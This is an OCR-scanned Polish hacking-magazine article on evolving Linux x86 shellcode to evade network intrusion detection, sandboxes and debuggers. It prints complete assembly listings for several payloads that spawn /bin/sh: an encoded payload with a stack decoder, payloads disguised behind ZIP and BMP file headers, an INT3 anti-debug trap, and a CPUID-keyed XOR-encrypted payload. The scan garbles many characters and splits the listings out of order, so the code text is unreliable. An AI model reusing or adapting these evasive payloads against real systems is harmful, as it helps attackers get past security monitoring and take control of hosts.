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Ewolucja Kodow Powtoki

ltzik Kotler |:|

stopien trudnosci

ajbardziej powszechne i popularne
N kody powtoki dziatajg na bazie doste-

pu do linii polecen systemu ktory jest
celem ataku — stad zresztg wzieta sie nazwa
tej techniki. Powtoka to program, ktéry daje
dostep do serwisdow udostepnianych przez
jadro systemu. Przyktadami powtoki mogg byc¢
CMD.EXE (dla systemow z rodziny Windows)
badz /bin/bash (dla systemow z rodziny Linux,
UNIX). Kody powtoki prébujg uruchomic¢ wita-
Snie te aplikacje. Zagrozenie powigzane z ko-
dem powtoki jest bardzo duze, jako ze kod taki
bedzie wywotany z takim samymi przywilejami
jak wykorzystany przez niego proces — mogag
by¢ to zaréwno przywileje uzytkownika jak
i administratora. Maja te ostatnie, kod powtoki
ma moc do przeprowadzenia niemalze kazdej
operacji w systemie, a na dodatek moze zrobic
to w niewidoczny sposdb, jako ze jego poczy-
nania bedg maskowane przez eksploatowny
proces.

Istnieje duza réznorodno$¢ rozwigzan
stworzonych w celu zapobiegania kodow
powtoki w systemach. Moze to by¢ zaréwno
instalacja dedykowanych systeméw detekcji
i usuwania intruzéw jak i réznego rodzaju
czynnosci prewencyjne narzucone przez ad-
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(" Kod powloki jest fragmentem kodu maszynowego, ktéry
wykorzystuje sie jako tadunek przy atakach bazujacych na
wykorzystaniu btedéw softwarowych. Wykorzystywanie stabych
punktéw w rodzaju przepetnienia bufora przydzielonego na stosie
lub stercie lub stringéw formatujacych wymagaja kodu powtoki. Kod
ten bedzie wykonany jesli proces wykorzystania luki sie powiedzie.

ministratora systemu. Z punktu widzenia ataku-
jacego sg to pewne przeszkody. W niniejszym
artykule przedstawie koncepcje na ktérych
bazuje cze$¢ ze wspomnianych rozwigzan
wskazujac przy okazji na ich stabe strony.
Pokaze rowniez przyktad rzeczywistego ko-
du powioki, ktory wykorzystuje stabe punkty
w celu ominiecia systemu zabezpieczen. Mimo

g
Czego sie nauczysz

* jakie przeszkody spotyka napastnik prébujacy
uruchomi¢ kod powtoki na systemie bedacym
celem ataku oraz jak wygladajg sposoby obej-
Scia tych przeszkod,

* jak projektowa¢ i implementowaé bardziej
sprytne kody powtoki.

Co powinienes zna¢

* podstawy Assemblera x86 dla platformy Linux,

* podstawowe informacje na temat technik
atakéw bazujacych na przepetnieniu bufora
przydzielonego na stosie lub na stercie, oraz
atakéw wykonywanych przy pomocy napiséw
formatujacych.
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tego, iz prezentowane kody powioki
zostaly zaprojektowane dla syste-
mow Linux dziatajacych w archi-
tekturze x86 to czes¢ koncepcji na
ktérych one bazujg mozna uznaé za
przenosnie i wykorzysta¢ na innych
platformach.

Ewolucja kontra
Diagnozowanie

,»po kablu”

Metoda diagnozowania ,po kablu”
(ang. Wire diagnose) jest czesto im-
plementowana w ramach systemow
klasy IDS (ang. Intrusion Detection
Systems) oraz IPS (ang. Intrusion
Prevention Systems). Rozwigzania
te réznig sie przede wszystkim ro-
dzajem zakresami kontroli. Pierwsze
skupiajg sie na warstwie komunika-
cyjnej probujac wytapa¢ tu wszelkie
rodzaje  podejrzanych  pakietow
w sieci, ktore przebrnety przez kla-
syczng zapore systemu; drugie mo-
nitorujg system na poziomie hosta,
prébujac wytapacé tu wszelkie rodza-
je ztosliwych zachowan.

Metoda diagnozowania po
kablu” jest jedng z witasciwosci
NIDS (systemu detekcji intruzow)
i polega na rozpoznawaniu i kla-
syfikacji pakietow nadchodzgcych
z sieci zanim dotrg one do swoich
punktow przeznaczenia. W przy-
padku rozpoznania potencjalnego
niebezpieczenstwa system podno-
si alarm. Podobnie jak programy
antywirusowe, NDIS posiada baze
danych podpiséw i wzorcow, ktore
zwigzane sg z prébami wilaman
do systeméw. Baza taka sktada
sie zazwyczaj z listy najczesciej
uzywanych bajtéow, lub sekwencji
bajtow pojawiajgcych sie w kodach
powtoki.

Sita tej metody zalezy z jednej
strony od jakosci informacji sktado-
wanych w bazie, zas z drugiej — od
tego na ile “typowa” jest struktura
kodu powtoki, ktéry probuje wikamac
sie do systemu. Poniewaz z punktu
widzenia napastnika baza regut
NDIS jest niedostepna, dlatego je-
dynym sposobem na obejscie tej
przeszkody jest zmiana struktury
kodu powtoki; zjawisko to zwane jest
polimorfizmem.

“

Innym stabym punktem tej
metody sg warstwy bezpiecznego
przesytania danych w sieci. Pro-
tokoty typu SSL czy VPN (IPSec)
sgq wykorzystywane w celu tzw.
tunelowania, ktére omija NDIS, jako
ze przekazywane dane sag szyfro-
wane i deszyfrowane w kohcowych
punktach potgczenia. W tej sytuacji
NDIS nie jest w stanie zdekodowac
przychodzacych danych i baza regut
staje sie bezuzyteczna.

CJOOTI réwna sie
/IBIN/SH

Szyfrowanie kodu powtoki to pod-
stawowy mechanizm prowadzacy do
uzyskania polimorfizmu. Proces ten
pozwala bezkarnie wykorzystywaé
,0znaczone” bajty i sekwencje nie
martwigc sie o to, ze zostang one
przechwycone po stronie NDIS. Ist-
nieje cata gama metod szyfrowania,
przy czym wiekszos$¢ z nich bazuje
na funkcjach matematycznych lub
bramkach logicznych. Szyfrowanie
kodu powtoki moze réwniez pole-
ga¢ na tworzeniu luk w strumieniu
danych, ktéry przechodzi przez sie¢
— luki te sg usuwane przed wywota-
niem kodu w docelowym systemie.

Polimorfizm koddéw powtoki moz-
na zauwazyC rowniez w przypadku
kiedy proba ataku opiera sie o pro-
tokét wymagajacy ograniczonego ze-
stawu znakow. Na przyktad protokoty
dziatajgce w oparciu o dane tekstowe
automatycznie odrzucajg jakiekol-
wiek dane binarne. W takim przypad-
ku kody powioki sg reprezentowane
w postaci alfanumeryczne;j.

Zaszyfrowane kody powtoki skta-
dajg sie z dwoch czesci: zakodowa-
nego fadunku oraz dekodera, ktory
deszyfruje pierwszg czesc¢ i na koncu
wykonuje do niej skok. (Listing 1)

Przedstawiony w Listingu 1. kod
powtoki w momencie wywotania ma
posta¢ execve("/bin/sh"). Jednakze
w postaci zakodowanej wyglada zu-
petnie inacze;j.

Kod powioki rozpoczyna sie
serig instrukcji PUSH. Przy kazdym
wywotaniu tej instrukcji na stos wrzu-
cane sg 4 bajty zaszyfrowanego ta-
dunku. Stos jest idealnym miejscem
gdzie mozna rozpakowac niewielkg
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ilos¢ danych i na dodatek (domysl-
nie) posiada zezwolenie na czytanie,
pisanie i co najbardziej istotne — wy-
konywanie kodu ktéry sie aktualnie
na nim znajduje.(Listing 2)

W dalszej kolejnosci mamy kod
dekodera. Szyfrowanie w tym przy-
padku jest prostg gra inkrementac;ji
i dekrementac;ji. Dekoder jest ztozony

Listing 1. Zaszyfrowane kody
powtoki sktadajg sie z dwoch
czesci

#

# (linux/x86) execve("/bin/

sh",

["/bin/sh"], NULL) / zakodowane
przez +1 - 39 bajtow

# - izik@ttyé4d.org

#

.section .text

.global _start

_start:

#

# Zakodowany tadunek

(drugi kod powltoki)

#

pushl $0x8lcee28a

pushl $0x54530cbl

pushl $0xed8abf6a

pushl $0x63306901

pushl $0x69743069

pushl $0x14

popl %ecx

#

# Petla dekodujaca

#

_unpack_loop:

decb (%esp, S%ecx, 1)

decl %ecx

jns _unpack_loop

incl %ecx

mul %Secx

#

# Skocz do
zdekodowanego kodu powioki

#

push %esp

ret

Listing 2. Kod powfoki
rozpoczyna sie serig instrukcji
PUSH

#
# Zakodowany tadunek
(drugi kod powitoki)
#
pushl $0x8lcee28a
pushl $0x54530cbl
pushl $0xed8a6f6a
pushl $0x63306901
pushl $0x69743069
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z petli, ktora czyta bajt po bajcie dane
wrzucone na stos i wykonuje na nich
operacje odejmowania w celu przy-
wrocenie oryginalnej wartosci. Po za-
konczeniu petli kod powtoki wykonuje
skok do tadunku umieszczonego na
stosie (Listing 3.).

Oczywiste jest, ze im fatwiejsza
metoda dekodowania tym mniejszy
bedzie dekoder. Podejscie to ma
jeszcze jedng zalete — pozwala uzy-
wac zabronionych bajtéw — chociaz-
by takich jak nurr. nurw z racji tego,
ze jest stosowany jako znacznik
konca napisu, nie powinien by¢ uzy-
wany w ciele kodu powtoki (kod taki,
w przypadku atakow polegajgcych
na wykorzystaniu stringdw mogtby
by¢ przedwczes$nie obciety). Jednak
przy zastosowaniu szyfrowania pro-
blem znika — podatna na atak funkcja
(np. strepy() nigdy nie przetworzy
wartosci nuis, gdyz jest ona zako-
dowana.

Pomimo tego, ze szyfrowanie
zmienia wyglad zewnetrzny kodu
powtoki, warto zauwazy¢ iz wyni-
kowa posta¢ nie zawsze musi byc¢
odporna na metode diagnozowania
»po kablu”. Problem w tym, ze wielo-
krotne wykorzystanie tego samego
schematu szyfrowania moze spra-
wi¢, ze odpowiedzialny za to kod
bedzie zarejestrowany jako wzorzec
i umieszczony w bazie danych. Aby
uzyska¢ w miare niezawodne roz-
wigzanie nalezatoby ciggle modyfi-
kowac¢ zaréwno samag formute kodu
powtoki jak i metode szyfrowania tej
formuty.

ltzik Kotler jest badaczem zajmu-
jacym sie problemami bezpieczen-
stwa w systemach informatycznych,
oraz zatozycielem projektu TTY64.
Wspomniany projekt skupia sie na
promowaniu technik programowania
zorientowanych na bezpieczenstwo,
a takze na wszelkich aspektach po-
wigzanych z tym tematem. Na stronie
domowej projektu mozna znalez¢ wiele
ciekawych informacji i zasobéw po-
wigzanych z tematem (miedzy innymi
przyktadowe fragmenty kodu, gotowe
projekty oraz samouczki).

Kontakt z autorem: izik@tty64.org

J
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Ja jestem ZIP,

a kim jestes Ty?

Czestym sposobem na rozrdznienie
dwoch réznych formatéw danych
jest préba odczytania pewnych
znacznikéw. Dla przyktadu — do
poszczegolnych formatéow czesto
przypisuje sie konkretne rozszerze-
nia plikéw, i co wiecej — lwia czes¢
formatéw danych posiada nagtéwki
opatrzone ,magicznymi” numerami
badz bajtami. Bajty te sg czesto
przydatne kiedy aplikacja probuje
zweryfikowa¢ czy nadchodzacy
strumien danych ma w pozadany
format.

Wstawianie do kodu powtoki
,magicznych” bajtéw powigzanych
z powszechnie rozpoznawanymi
formatami plikow moze by¢ bardzo
pomocne przy oszukiwaniu narze-
dzi monitorujacych ruch w sieci.
Szczegolnie w przypadkach prob
wtamania sie do systemu poprzez
takie standardowe kanaty jak poczta
elektroniczna czy zawartos¢ stron
webowych, bardzo wazne jest to
aby kod powtoki otrzymat fatszywag
,0so0bowos¢”. Dla przyktadu, kod
powtoki, ktory przedstawia sie jako
ZIP ma duzg szanse ogtupi¢ system
wykrywania intruzow i osiggna¢ swoj
cel (Listing 4.).

Kod powtoki zaczyna sie 5
bajtowym nagtéwkiem charaktery-
stycznym dla popularnego formatu
kompresji — ZIP. W tym przypadku
bardzo istotny jest fakt, iz wspomnia-
ne 5 bajtow da sie przeksztatci¢
w poprawne instrukcje asemblera.
Poniewaz system skupia sie na
wychwytywaniu  kodow  powtoki,
niewatpliwie wezmie w pierwszej
kolejnosci pod lupe witasnie te bajty
i istnieje szansa, ze rozpozna je jako
nagtéwek poprawnego bgdz uszko-
dzonego archiwum ZIP. Nawet jesli
system monitoringu nie jest w sta-
nie rozpozna¢ formatu ZIP, to i tak
uzyskamy pewng przewage, jako
ze bajty nagtowkowe sg rzadko uzy-
wane w kodach powtoki, co uczyni
nasze rozwigzanie trudniejszym do
wykrycia.

Przy prébie podszywania sie pod
taki czy inny format, powodzenie ata-
ku zalezy prawie zawsze od gtebo-
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kosci analizy przeprowadzanej przez
system monitorowania. Nie zawsze
tez udaje sie zrekonstruowac¢ dany
format w taki sposob, aby mozna
go byto przettumaczyé na popraw-
ne instrukcje asemblera. Czasami
tez trudno jest w petni odtworzyé
z poziomu kodu powtoki strukture

Listing 3. Skok petli do tadunku
umieszczonego na stosie

#
# Petla dekodujaca
#
_unpack_loop:
decb (%esp, %ecx, 1)
decl %ecx
jns _unpack_loop
incl %ecx
mul %Secx
#
# Jump to the decoded
shellcode

Listing 4. Kod powtoki

#
# x86/linux - execve ("/bin/
sh'",
["/bin/sh", NULL]) + Nagtowek
ZIP - 28 bajtow
# - izik@tty64.org
#
.section .text
.global _start
_start:
#
# PK[\03\04], Nagtowek
archiwum
danych PK[Zip] (5 bajtoéw)
#
.byte 0x50
.byte 0x4b
.byte 0x03
.byte 0x04
.byte 0x24
#
# execve ("/bin/sh",
["/bin/sh", NULL]);
#
push $0xb
popl %eax
cdq
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp, sebx
push %edx
push %ebx
mov %esp, 3%ecx
int $0x80
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formatu. W rezultacie system moni-
torujacy, ktory szuka dostatecznie
gteboko, bedzie w stanie zauwazyé,
ze co$ jest nie tak. Przegladajac
liste popularnych formatéw mozna
zauwazy¢, ze niektére z nic maja
luzniejszg strukture niz inne — za-
rowno w odniesieniu do nagtowka
jak i do zawartosci. Dobrymi kan-
dydatami sg formaty reprezentujace
dane multimedialne — w szczegdlno-
Sci w postaci surowej (nie skompre-
sowanej). Formaty te sg zazwyczaj
bardzo elastyczne i co wazne — na
tyle popularne, aby postrzega¢ je
jako czes$¢ typowego ruchu w sieci
(Listing 5.).

Bitmapa (.BMP) jest surowym
formatem do reprezentacji obrazu,
ktory jest wrecz idealng przykryw-
kg dla kodu powtoki. Trik w tym
przypadku polega na tym, iz trudno
wyobrazi¢ sobie system monitoro-
wania, ktéry potrafitby przewidzie¢
czy danych obraz jest prawdziwy
czy nie.

Koncepcje te mozna oczywiscie
stosowa¢ w odniesieniu do innych
formatow — dobrymi kandydatami sg
RIFF (WAV) oraz Rich Text (.RTF).
Podstawowym ograniczeniem przy
stosowaniu tej techniki jest fakt,
ze wszystkie bajty wystepujace
w nagtéwku formatu, ktéry planuje-
my wykorzysta¢ jako kamuflaz kodu
powtoki muszg by¢ prawidtowymi
instrukcjami asemblera. W innym
przypadku wywotanie kodu powtoki
zakonczy sie btedem naruszania
dostepu w trakcie wykonania.

Ewolucja kontra
diagnozowanie w czasie
wykonania

Metoda tzw. diagnozowania w czasie
wykonania jest kolejnym czesto sto-
sowanym rozwigzaniem stosowanym
w systemach IDS oraz IPS. Metoda ta
jest zazwyczaj wykorzystywana jako
rozszerzenie mechanizmu diagnozo-
wania ,po kablu”, ktéry omawiatem
w jednym z poprzednich punktow.

typowego ruchu w sieci

#

# x86/linux - execve("/bin/sh",
["/bin/sh", NULL]) + Nagiowek
24-bitowej Bitmapy - 23 bajty

# - izik@tty64.org

#

.section .text

.global _start

_start:

#

# Nagtowek 24-bitowej Bitmapy

#

.byte 0x42

.byte 0x4D

.byte 0x36

.byte 0x91

#

#

push $0xb

popl %eax

cdg

push %edx

push $0x68732f2f
push $0x6e69622f
mov %esp, sebx
push %edx

push %ebx

mov %esp, %ecx
int $0x80

Listing 5. Formaty — na tyle popularne, aby postrzegac je jako cze$¢

# execve ("/bin/sh", ["/bin/sh", NULL]);

Kluczowym elementem opisy-
wanego w tym miejscu procesu
jest badanie efektéw wykonania
kodu, ktory zostat sklasyfikowany
jako podejrzany (na przyktad przy
pomocy metody diagnozowania
,pO kablu”). Proces ten jest prze-
prowadzany w tzw. piaskownicy
(ang. Sandbox), czyli w bezpiecz-
nym, odizolowanym $rodowisku
— moze by¢ to dla przyktadu
wirtualny lub realny serwer, ktory
przetwarza/wykonuje podejrzany
kod, $ledzac przy okazji kazdy
jego krok i zapisujgc wyniki jego

Listing 6. Putapka INT 3h

#
# (linux/x86) trik
anty-debugowy
(INT 3h trap) +
execve ("/bin/sh",
["/bin/sh", NULL],
NULL) - 39 bajtoéw
# - izik@tty64.org
#
.section .text
.global _start
_start:
#
# Program obstugi
sygnatu rejestru
push $0x30
popl %eax
push $0x5
popl %ebx
jmp _evil code
#
# Sprawdzenie debugera
_evilcode_loc:
popl %ecx
int $0x80
int3
incl %eax
#
# Alternatywny strumien
przetwarzania
_evil code:
call _evilcode loc
#
# Prawdziwy kod powtoki
#
cdg
movb $0xb, %al
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp, sebx
push %edx
push %ebx
pushl %esp
jmp _evilcode loc

www.hakin9.org

hakin9 Nr 1/2007




dziatania. Poréwnujac te wyniki
z danymi wyjsciowymi produko-
wanymi przez inne kody powtoki
mozna tatwo wytapaé potencjalnie
niebezpieczny kod, za$ dzieki te-
mu, ze eksperymenty przeprowa-
dzane sg w piaskownicy atakujacy
nie jest w stanie dokona¢ zadnych
powazanych uszkodzen.

Listing 7. Kolejnosc¢ rejestracji
kodu powtoki

#
# Rejestruj program obstugi
sygnatu
#
push $0x30
popl %eax
push $0x5
popl %ebx
jmp _evil code

_evilcode_loc:
popl %ecx
int $0x80

_evil code:

call _evilcode_ loc

Listing 8. Po uruchomieniu
przerwania INT3 nastepuje
docelowy test

#
# Sprawdzenie debugera
#
_evilcode loc:

int3

Listing 9. Debuger zdejmuje
warto$c ze stosu i warto$c EIP
zwieksza sie o jeden

#

# Sprawdzenie debugera

#

_evilcode_loc:

popl %ecx

int $0x80

int3

#

# Debugger przeniesie bieg
programu
w to
miejsce!

#

incl %eax

_evil code:

call _evilcode_loc
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Sitg tej metody jest jej aktywny
charakter. W przypadku diagnozy
,p0 kablu” bazujemy gitéwnie na
predefiniowanych zasadach — tutaj
za$ podejrzany kod uruchamiany
jest na symulowanym CPU co po-
zwala wytapywac¢ aktywnos¢ kodow
powtoki na najnizszym z mozliwych
poziomow. Jako, ze gtdwnym celem
kodu powtoki jest uruchomienie sie
na CPU atakowanego systemu,
piaskownica moze bardzo tatwo
Sledzi¢ i notowac¢ tego typu zacho-
wania. Zmiany struktury kodu po-
wtoki na poziomie bajtéw nic w tym
przypadku nie pomoze, gdyz kod
taki czy tak, czy siak ukaze swojg
prawdziwg twarz w momencie wy-
wotania.

Nie debuguj mnie

Sztuczki anty-debugowe sg bardzo
popularne w przypadku komercyj-
nych aplikacji Windows. Bazujg one
na dotgczaniu do docelowej aplikacji
fragmentéw kodu, ktére utrudniajg
lub uniemozliwiajg debugowanie lub
wsteczng inzynierie tychze aplika-
cji. Oczywiscie nie zaktadamy, ze
atakowany system bedzie dziatat
w trybie odpluskwiania wiec mozna
bezpiecznie zatozyé, ze osadzanie
tego rodzaju wstawek do kodu po-
wtoki nie bedzie przeszkoda przy
uruchomieniu go na tym systemie.
Tym co naprawde chcemy uzyskaé
jest wprowadzenie chaosu do pia-
skownicy. Istnieje cata gama trikéw
anty-debugowych, przy czym naj-
ciekawsze nie sg wcale te, ktore
na Slepo blokujg debugery, lecz te
ktére pozwalajg aplikacji stwierdzi¢
czy jest w trakcie debugowania
— co z kolei pozwala jej modyfikowac
swoje zachowania w zaleznosci od
odpowiedzi na to pytanie.

Jesli kod powtoki posiadatby
,Swiadomos¢” na temat tego, ze
zostat uruchomiony w piaskownicy
(lub w $rodowisku debugujacym), to
mogtby wprowadzi¢ program odplu-
skwiajacy w btad rozdzielajgc swdj
strumien przetwarzania na dwie
Sciezki — bezpieczng (zawierajgca
petng funkcjonalnos¢) oraz niebez-
pieczng (prowadzgcg do wczesniej-
szego zakonczenia). Patrz Listing 6.
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Zaprezentowany kod powtoki
implementuje jeden z najbardziej
podstawowych trikdw anty-debugo-
wych, czyli putapke INT 3h. Uwie-
zienie  potencjalnego  debugera
polega na uruchomieniu przerwania
3H i ustawienia programu obstugi sy-
gnatu (lub wyjatku) w kodzie powtoki.
W rezultacie, gdy kod powtoki dziata
w trybie odpluskwiania to przerwa-
nie sprawi, ze debuger sie zatrzyma
(INT 3h jest standardowym przerwa-
niem wykorzystywanym przez de-
bugery). Ggd debuger zatrzyma sie
na kodzie, ustawi EIP na punkt za
kodem operacji INT 3h i (zaktadajac,
ze nie zostat przekonfigurowany), nie
wywota programu obstugi zawartego
w kodzie powtoki.

Kod umieszczony w procedu-
rze obstugi przerwania definiuje
bezpieczng Sciezke. Sciezka
niebezpieczna zawarta jest w sekgcji
nastepujacej po kodzie operacji INT
3h. Dzieki temu, ze wiekszosSc¢ inte-
raktywnych i praktycznie wszystkie
nie-interaktywne debugery nie dzielg
przerwania z aplikacjg, kod powtoki
moze tak zaplanowaé swoj strumien
przetwarzania, aby ukry¢ swoje do-
celowe przeznaczenie (Listing 7.).

W pierwszej kolejnosci kod
powtoki rejestruje program obstu-
gi sygnatu dla SIGTRAP (INT3).
Nastepnie wykorzystuje wsteczne
CALL aby w trakcie wykonania
pobra¢ lokacje kodu oznaczonego
jako _evil_code. Adres jest przeka-

Listing 10. Czes$¢ kodu
powtoki, ktéra zostataby
uruchomiona w sytuacji
wywotania funkcji zwrotnej dla
SIGTRAP

#
# Docelowy kod powioki
#
cdg
movb $0xb, %al
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp, sebx
push %edx
push %ebx
pushl %esp
jmp _evilcode loc
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zany jako funkcja zwrotna do funkcji,
ktérej wywotanie przeprowadzi sce-
nariusz bezpieczny (zaktadamy, ze
nie ma debugera, ktory obserwuje
strumien przetwarzania i kod powto-
ki moze uruchomi¢ swojg docelowg
funkcjonalnosc). Patrz Listing 8.

Po uruchomieniu przerwania
INT3 nastepuje docelowy test.
Program obstugi sygnatu jest juz
zarejestrowany i wskazuje na
_evil_code. W tym punkcie kodu
powtoki nastepuje rozdzielenie stru-
mienia przetwarzania, zas$ wybor
konkretnej Sciezki podejmowany jest
w zaleznosci od wyniku przerwania
(Listing 9.).

W przypadku jesli debuger zdjat
warto$¢ ze stosu i wartos¢ EIP zo-
stata zwiekszona o jeden (INT3 jest
jedno-bajtowym kodem operaciji),
do gtosu dochodzi niebezpieczna
Sciezka kodu. Rejestr EAX zostat
wyzerowany przez wywotanie syste-

mowe signal(). Debuger kontynuuje
przetwarzanie od INT3, dalej zwiek-
sza wartos¢ EAX o jeden (wartos¢ ta
reprezentuje teraz wywotanie syste-
mowe EXIT) i kohczy wywotujac kod
oznaczony gdzie
dzieki instrukcji INT $0x80 tozsamej
z wywotaniem systemowym exit()
kod powtoki konczy swoje dziatanie.
Zobaczmy co by sie dziato gdyby nie
byto debugera (Listing 10.).

Przedstawiony kod reprezen-
tuje te czes¢ kodu powtoki, ktoéra
zostataby uruchomiona w sytuacji
wywotania funkcji zwrotnej dla
SIGTRAP. Jesli do tego dojdzie,
kod powtoki zaatakuje system wy-
wotujac /bin/sh.

Korzystajac z koncepcji wykony-
wania w locie testéw, ktére pozwa-
lajg na to by kod powtoki uzyskat
wiedze odnosnie natury srodowiska
w jakim jest on uruchamiany, moze-
my znacznie zwiekszy¢ prawdopo-

__evilcode _loc,

#
# (linux/x86) execve("/bin/sh",

# - izik@tty64.org
#

.section .text
.global _start
_start:

#

#

xorl %eax, %eax
cpuid

#

#

pushl %ecx

pushl $0xeca895e7
pushl $0x3f377fde
pushl $0x8feclal’7
pushl $0x0edalcébe
pushl $0x04165b06
#

#

_unpack loop:
xorl %ecx, (%esp)
popl %edx

jnz _unpack loop
#

#

subl $0x18, S%esp
pushl %esp

ret

# CPUID w celu zaltadowania klucza

Listing 11. Petla dekodujgca nie jest wymagana, tak jak w Listingu 10

["/bin/sh"], NULL) / przexorowane z Intel
x86 CPUID - 41 bajtéw

# Wrzu¢ na stos przexorowany tadunek (drugi kod powioki

# Deszyfruj tadunek w odniesieniu do warto$ci CPUID

# Przeskocz do odszyfrowanego kodu powloki

dobienstwo jego przebrniecia przez
sieci typu Honeypot, piaskownice
lub aplikacje monitorujgce. Gtéwng
zaletg takiego podejscia jest ochro-
na przez potencjalnym zdemasko-
waniem.

Miazdzenie na CPU

Kryptografia jest rozwigzaniem
ktére wybiera sie zazwyczaj gdy
chcemy zapewni¢, aby w przypad-

Listing 12. Kod operacji CPUID

#

# CPUID do wczytania--
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#

xorl %eax, %eax

cpuid

Listing 13. Kod operacji CPUID
daje nam dostep do pozgdanej
informacji

#

# Wrzué¢ na stos przexorowany
tadunek (drugi kod powiloki

#

pushl %ecx

pushl $0xeca895e7

pushl $0x3f377fde

pushl $0x8feclal’7

pushl $0x0edalcée

pushl $0x04165b06

Listing 14. Deszyfrowanie kodu

#
# Deszyfruj tadunek
w odniesieniu
do wartos$ci CPUID
#
_unpack_loop:
xorl %ecx, (%esp)
popl %edx
jnz _unpack loop
#
# Przeskocz do
odszyfrowanego
kodu powloki

#

subl $0x18, %esp
pushl %esp

ret
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ku przechwycenia naszych danych
przez zewnetrzny podmiot, dane
te byty niemozliwe do odczytania.
Jednakze aby uzyskac taki efekt,
strony ktore planujg przesytac sobie
zaszyfrowane informacje musza
uzgodni¢ i wymieni¢ okreslony, taj-
ny klucz. Wymiana taka nie wchodzi
w gre gdy probujemy infiltrowac¢ ata-
kowany system wbrew jego woli.
Tajne porozumienie bez wymia-
ny kluczy znane jest pod nazwg
metody wczesnego dzielenia klu-

czy (ang. pre-shared key method).
Idea tej metody polega na tym, ze
obydwie strony uzywajg znanego
z gory, tego samego klucza, dzieki
czemu nie muszg przeprowadzaé
procesu wymiany. Znajac taki klucz
mozna by zaszyfrowac¢ nim kod po-
wtoki, dzieki czemu bytby on zde-
kodowany dopiero na docelowej
maszynie, bezpiecznie omijajac
wszelkiego rodzaju piaskownice.
Kod powtoki moze uzyskaé do-
step do niemalze kazdej globalnej

dostepna

#

# - izikQtty64.org
#

#

.section .text
.global _start
_start:

#

# Kto jest twoim rodzicem?
#

push $0x40

popl %eax

int $0x80

#

# Zamien INT na ASCII
#

_convert:

decl %esp

cdg

pushl $0xa

popl %ebx

divl %ebx

addb $0x30, %dl
movb %dl, (%esp)
testl %eax, %eax
jnz _convert

cdg

#

# Uruchom [/proc/<pid>/exe]
#

popl %ebx

pushl %edx

pushl $0x6578652f
pushl %ebx

pushl $0x2£636£72
pushl $0x702f2f2f
movb $0xb, %al
movl %esp, %ebx
pushl %edx

pushl %ebx

movl %esp, %ecx
int $0x80

Listing 15. Sprawdzanie w czasie wykonania, ktéra powtoka jest

# (linux/x86) getppid() + execve ("/proc/<pid>/exe",
NULL]) - 51 bajtéw

# * podziekowania dla pR za petle convert ;-)

["/proc/<pid>/exe™,
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W sieci
http://www.tty64.org/code/shellcodes/
archiwum zrédet kodéw powtoki

zmiennej lub danej systemowe;j.
Niektére z takich informacji mo-
ga by¢ pozyskane jeszcze przed
rozpoczeciem ataku. Taki rodzaj
koordynacji pozwala na zastoso-
wac¢ model PSK (ang. Pre-Shared
Key). Uzycie kodu podobnego jak
w przypadku pokazanego wcze-
Sniej enkodera, rozszerzonego
o procedure kryptograficzng i me-
chanizm wydobywania klucza jest
podstawg do stworzenia szyfrowa-
nego kodu powtoki.

Ten kod powtoki jest podobny
do kodu powtoki w wersji enkodo-
wanej. Jednakze w tym przypadku
petla dekodujaca nie jest wymaga-
na, tak jak to byto w pokazanym
wczesniej  przyktadzie. Wspot-
dzielonym sekretem jest tutaj
nazwa producenta procesora (np.
Intel) — ten wiasnie napis bedzie
wykorzystany zaréwno do zaszy-
frowania jak i odszyfrowania go
na docelowej maszynie przed uru-
chomieniem. Oznacza to, ze uzycie
jako PSK nazwy innego producenta
datoby w wyniku niepoprawny kod,
catkowicie nieprzydatny z punktu
widzenia analizy. Przyktad z nazwg
producenta procesora pokazuje
jak tatwo podmiot atakujgcy moze
zebra¢ dane potrzebne do prze-
prowadzenia tego typu dziatania.
W tym przypadku informacje te
mozna uzyska¢ z poziomu asem-
blera przy uzyciu kodu operacji
CPIUD (Listing 12).

Kod operacji CPUID daje nam
dostep do pozadanej informaciji.
W pierwszej fazie zaszyfrowany kod
powtoki jest wrzucony na stos (po-
dobnie jak w przypadku omawiane-
go wczesniej enkodera/dekodera).
Patrz Listing 13.

Kiedy zaszyfrowany kod powto-
ki jest juz umieszczony na stosie to
nalezy wzig¢ sie za jego odszyfro-
wanie wykorzystujgc do tego odpo-
wiedz pozyskang z CPUID. Niestety
nie posiadamy zadnej kontroli nad
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tym procesem — tak samo jak nie
jesteSmy w stanie zweryfikowaé
powodzenia tego przedsiewziecia.
Jesli CPIUD zwrdcit nazwe innego
producenta niz sie spodziewalisSmy
(np. AMD) to w wyniku otrzymamy
bezuzyteczne asemblerowe $mie-
ci, ktére przy probie wykonania
najprawdopodobniej spowodujg
powstanie wyjatku. (Listing 14).

Po zakonczeniu deszyfrowania
pozostaje wykona¢ skok do doce-
lowej sekcji kodu powtoki. To czy
we wspomnianej sekcji znajdujg sie
wiasciwe instrukcje zalezy od tego
czy trafiliSmy na wiasciwg nazwe
producenta procesora. W kazdym
innym przypadku wywotanie wyni-
kowego kodu zakonczy sie powsta-
niem wyjatku.

Rozwigzania bazujgce na przed-
stawionej koncepcji mozna oczy-
wiscie modyfikowaé, na przyktad
wykorzystujac inng nazwe produ-
centa (chociazby AMD).

Ewolucja kontra
kustomizacja

Jak dotad dyskutowane przeszkody
pojawiajace sie na drodze kodow
powtoki byty zwigzane z wyste-
powaniem takich mechanizmow
ochronnych jak NIDS czy IPS.
Jednakze w wielu przypadkach
— szczegdlnie w kontekscie atakéw
skierowanych przeciwko rozbudo-
wanym organizacjom, pojawiaja
sie problemy wynikajgce z wtasci-
wosci atakowanego systemu. Na
przyktad, jednym z podstawowych
btedéw przy projektowaniu kodow
powtoki jest wstawianie wartosci
ustawionych na state — odnosi sie
to przede wszystkim do napisu /
bin/sh. Problem w tym, ze wcale nie
ma gwarancji, ze program sh znaj-
duje sie w katalogu bin; co wiecej
— katalog bin wcale nie musi istnie¢
w atakowanym systemie. Oczy-
wiscie w wiekszosci przypadkéw
(powiedzmy, ze okoto 80%) atak
zapewne sie powiedzie, jednakze
dla pozostatych 20% wywotanie
systemowej funkcji execuve() za-
kohczy sie niepowodzeniem mimo
tego, ze kod powtoki udato sie uru-
chomi¢. W rzeczywistosci kustomi-

zacja jest czynnikiem, ktory nalezy
na powaznie wzigé pod uwage przy
projektowaniu  kodoéw  powtoki.
Praktyka ta jest powszechnie sto-
sowana zaréwno wsréd systemow
z rodziny Linux jak i BSD i wynika
z duzej réznorodnosci dystrybucji
oraz ftatwosci w dopasowywaniu
struktury systemu, dzieki ktoérej ad-
ministratorzy oraz zaawansowani
